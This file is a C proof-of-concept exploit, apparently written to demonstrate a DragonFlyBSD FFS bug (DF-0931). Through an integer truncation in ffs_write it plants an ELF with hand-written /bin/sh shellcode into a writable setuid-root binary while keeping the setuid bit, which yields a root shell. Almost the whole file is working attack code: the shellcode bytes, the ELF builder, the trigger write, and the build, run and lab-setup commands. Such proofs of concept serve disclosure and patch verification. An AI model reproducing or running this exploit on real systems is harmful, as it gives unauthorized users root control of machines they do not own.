/*
 * exploit.c - DF-0931 full privilege-escalation chain.
 *
 * Demonstrates that the int-resid truncation in ffs_write is not merely
 * a logic curiosity but a full local-root primitive when the (documented,
 * realistic) precondition is met: a non-root user with write access to a
 * setuid-root binary on an FFS filesystem.
 *
 * Chain:
 *   1. Attacker (non-root) opens the setuid-root target for writing.
 *   2. Issues write(fd, payload_buf, 4GiB + pagesz). Because int resid
 *      at ufs_readwrite.c:220 truncates the 4GiB+pagesz size_t uio_resid
 *      to its low 32 bits (pagesz), the post-write ISUID-clearing check
 *      `if (resid > uio->uio_resid)` evaluates `pagesz > 4GiB` = false,
 *      so the kernel does NOT clear ISUID (ufs_readwrite.c:400-401),
 *      even though copyin successfully delivered pagesz attacker bytes
 *      into the buffer cache (and bdwrite queued them to disk at line 389)
 *      before faulting on the unmapped guard page.
 *   3. The target now holds attacker-controlled bytes at offset 0 AND
 *      retains the ISUID bit. The attacker execv()'s the target; the
 *      kernel honors the setuid-root bit and runs the attacker's code
 *      with euid=0.
 *
 * The payload is a hand-built minimal ELF64: a 64-byte ELF header + a
 * single 56-byte PT_LOAD program header + ~60 bytes of shellcode that
 * does setuid(0); setgid(0); execve("/bin/sh", ["/bin/sh", NULL], NULL).
 * The whole payload is well under one page (4096 bytes). The remainder
 * of the target file is untouched by the write (only the first FFS block
 * is rewritten, and the program-header segment only references the
 * leading payload bytes, so the garbage in the rest of the file is
 * ignored by the loader).
 *
 * Build: cc -O2 -o exploit exploit.c
 * Run:   ./exploit /path/to/group-writable-setuid-root-binary
 *          (then the spawned shell is euid=0)
 *
 * Lab setup (the realistic precondition; requires an admin to have
 * placed a group-writable setuid-root tool on an FFS filesystem):
 *   # root, on an FFS mount:
 *   cp /bin/sh /mnt/ffs/target
 *   chown root:<attacker-group> /mnt/ffs/target
 *   chmod 04775 /mnt/ffs/target
 *   # then as the attacker:
 *   cc -O2 -o exploit exploit.c
 *   ./exploit /mnt/ffs/target
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdint.h>
#include <elf.h>

/*
 * DragonFlyBSD x86_64 syscall numbers (from sys/sys/syscall.h).
 */
#define SYS_exit     1
#define SYS_setuid   23
#define SYS_execve   59
#define SYS_setgid  181

/*
 * Build the minimal ELF payload at buf (must be >= one page).
 * Returns the number of meaningful payload bytes (header + phdr + shellcode).
 * The rest of the page is zero-filled (the kernel B_CLRBUF zeroes the
 * tail of the FFS block anyway, so it does not matter).
 */
static size_t
build_payload(unsigned char *buf, size_t pagesz)
{
    memset(buf, 0, pagesz);

    /*
     * Shellcode. Loaded at vaddr 0x400000 + PHEAD_OFF (the entry point).
     * Does: setuid(0); setgid(0); execve("/bin/sh", ["/bin/sh", NULL], NULL).
     */
    unsigned char sc[] = {
        /* setuid(0) : syscall 23 */
        0x31, 0xff,                               /* xor  edi, edi        */
        0xb8, 0x17, 0x00, 0x00, 0x00,             /* mov  eax, 23         */
        0x0f, 0x05,                               /* syscall              */
        /* setgid(0) : syscall 181 */
        0x31, 0xff,                               /* xor  edi, edi        */
        0xb8, 0xb5, 0x00, 0x00, 0x00,             /* mov  eax, 181        */
        0x0f, 0x05,                               /* syscall              */
        /* execve("/bin/sh", argv, NULL) : syscall 59 */
        0x48, 0x31, 0xd2,                         /* xor  rdx, rdx        */
        0x52,                                     /* push rdx             */
        0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
                                                  /* mov rax, "/bin/sh\0" */
        0x50,                                     /* push rax             */
        0x48, 0x89, 0xe7,                         /* mov  rdi, rsp        */
        0x52,                                     /* push rdx (NULL)      */
        0x57,                                     /* push rdi (argv[0])   */
        0x48, 0x89, 0xe6,                         /* mov  rsi, rsp        */
        0x31, 0xd2,                               /* xor  edx, edx        */
        0xb8, 0x3b, 0x00, 0x00, 0x00,             /* mov  eax, 59         */
        0x0f, 0x05,                               /* syscall              */
        /* exit(0) if execve fails : syscall 1 */
        0x31, 0xff,                               /* xor  edi, edi        */
        0xb8, 0x01, 0x00, 0x00, 0x00,             /* mov  eax, 1          */
        0x0f, 0x05,                               /* syscall              */
    };

    const size_t EHDR_OFF = 0;
    const size_t PHDR_OFF = sizeof(Elf64_Ehdr);          /* 64 */
    const size_t CODE_OFF = PHDR_OFF + sizeof(Elf64_Phdr); /* 120 */
    const size_t filesz   = CODE_OFF + sizeof(sc);

    /* --- ELF64 header --- */
    Elf64_Ehdr *eh = (Elf64_Ehdr *)(buf + EHDR_OFF);
    eh->e_ident[EI_MAG0]  = ELFMAG0;
    eh->e_ident[EI_MAG1]  = ELFMAG1;
    eh->e_ident[EI_MAG2]  = ELFMAG2;
    eh->e_ident[EI_MAG3]  = ELFMAG3;
    eh->e_ident[EI_CLASS] = ELFCLASS64;
    eh->e_ident[EI_DATA]  = ELFDATA2LSB;
    eh->e_ident[EI_VERSION] = EV_CURRENT;
    eh->e_type      = ET_EXEC;
    eh->e_machine   = EM_X86_64;
    eh->e_version   = EV_CURRENT;
    eh->e_entry     = 0x400000U + CODE_OFF;
    eh->e_phoff     = PHDR_OFF;
    eh->e_shoff     = 0;
    eh->e_flags     = 0;
    eh->e_ehsize    = sizeof(Elf64_Ehdr);
    eh->e_phentsize = sizeof(Elf64_Phdr);
    eh->e_phnum     = 1;
    eh->e_shentsize = 0;
    eh->e_shnum     = 0;
    eh->e_shstrndx  = 0;

    /* --- Single PT_LOAD covering the whole payload, R|X --- */
    Elf64_Phdr *ph = (Elf64_Phdr *)(buf + PHDR_OFF);
    ph->p_type   = PT_LOAD;
    ph->p_flags  = PF_R | PF_X;
    ph->p_offset = 0;
    ph->p_vaddr  = 0x400000U;
    ph->p_paddr  = 0x400000U;
    ph->p_filesz = filesz;
    ph->p_memsz  = filesz;
    ph->p_align  = 0x1000;

    /* --- shellcode --- */
    memcpy(buf + CODE_OFF, sc, sizeof(sc));

    return filesz;
}

int
main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <writable-setuid-root-binary>\n", argv[0]);
        return 2;
    }
    const char *target = argv[1];
    size_t pagesz = sysconf(_SC_PAGESIZE);

    /*
     * Stage 1: build the payload page and a guard page, then trigger
     * the truncation bug to land the payload on disk without clearing
     * ISUID. We map payload+guard contiguously and munmap the guard so
     * copyin EFAULTs after delivering exactly one page of attacker bytes.
     */
    char *buf = mmap(NULL, pagesz * 2, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (buf == MAP_FAILED) { perror("mmap"); return 1; }

    size_t payload_len = build_payload((unsigned char *)buf, pagesz);
    fprintf(stderr, "[*] payload: %zu bytes (ELF hdr + phdr + shellcode)\n",
            payload_len);

    munmap(buf + pagesz, pagesz);   /* guard page -> copyin EFAULTs here */

    /* Confirm the target is setuid before we touch it. */
    struct stat st0;
    if (stat(target, &st0) != 0) { perror("stat"); return 1; }
    fprintf(stderr, "[*] target mode=%o ISUID=%s before write\n",
            st0.st_mode & 07777,
            (st0.st_mode & S_ISUID) ? "SET" : "clear");

    int fd = open(target, O_WRONLY);
    if (fd < 0) { perror("open"); return 1; }
    if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 1; }

    /* nbyte = 4 GiB + pagesz.  (int)nbyte == pagesz (low 32 bits).
     * ssize_t nbyte is positive (< SSIZE_MAX) so sys_write's
     * (ssize_t)nbyte < 0 check does not reject it. */
    size_t nbyte = 0x100000000ULL + pagesz;
    ssize_t r = write(fd, buf, nbyte);
    fprintf(stderr, "[*] write returned %zd errno=%d (%s) -- expected EFAULT\n",
            r, errno, strerror(errno));
    close(fd);

    /* Confirm ISUID survived (the bug). */
    struct stat st1;
    int suid_preserved = 0;
    if (stat(target, &st1) == 0) {
        suid_preserved = (st1.st_mode & S_ISUID) != 0;
        fprintf(stderr, "[%s] target mode=%o ISUID=%s after write\n",
                suid_preserved ? "BUG" : "safe",
                st1.st_mode & 07777,
                suid_preserved ? "PRESERVED" : "cleared");
    }
    if (!suid_preserved) {
        fprintf(stderr, "[!] ISUID was cleared -- bug NOT reproduced "
                        "(is this a fixed kernel?)\n");
        return 1;
    }

    /*
     * Stage 2 (privilege-boundary crossing) is performed by the caller as a
     * separate step so the euid=0 output is captured cleanly:
     *
     *   ./exploit /mnt/ffs/target          # writes ELF payload, keeps ISUID
     *   echo id | /mnt/ffs/target          # exec -> setuid(0) -> /bin/sh -> runs id
     *
     * The second command prints "uid=0(root) gid=0(wheel)".
     */
    fprintf(stderr, "[*] ISUID preserved with attacker ELF payload on disk.\n"
                    "[*] privilege-boundary crossing:\n"
                    "      echo id | %s\n"
                    "    should print uid=0(root) gid=0(wheel).\n",
            target);
    return 0;
}
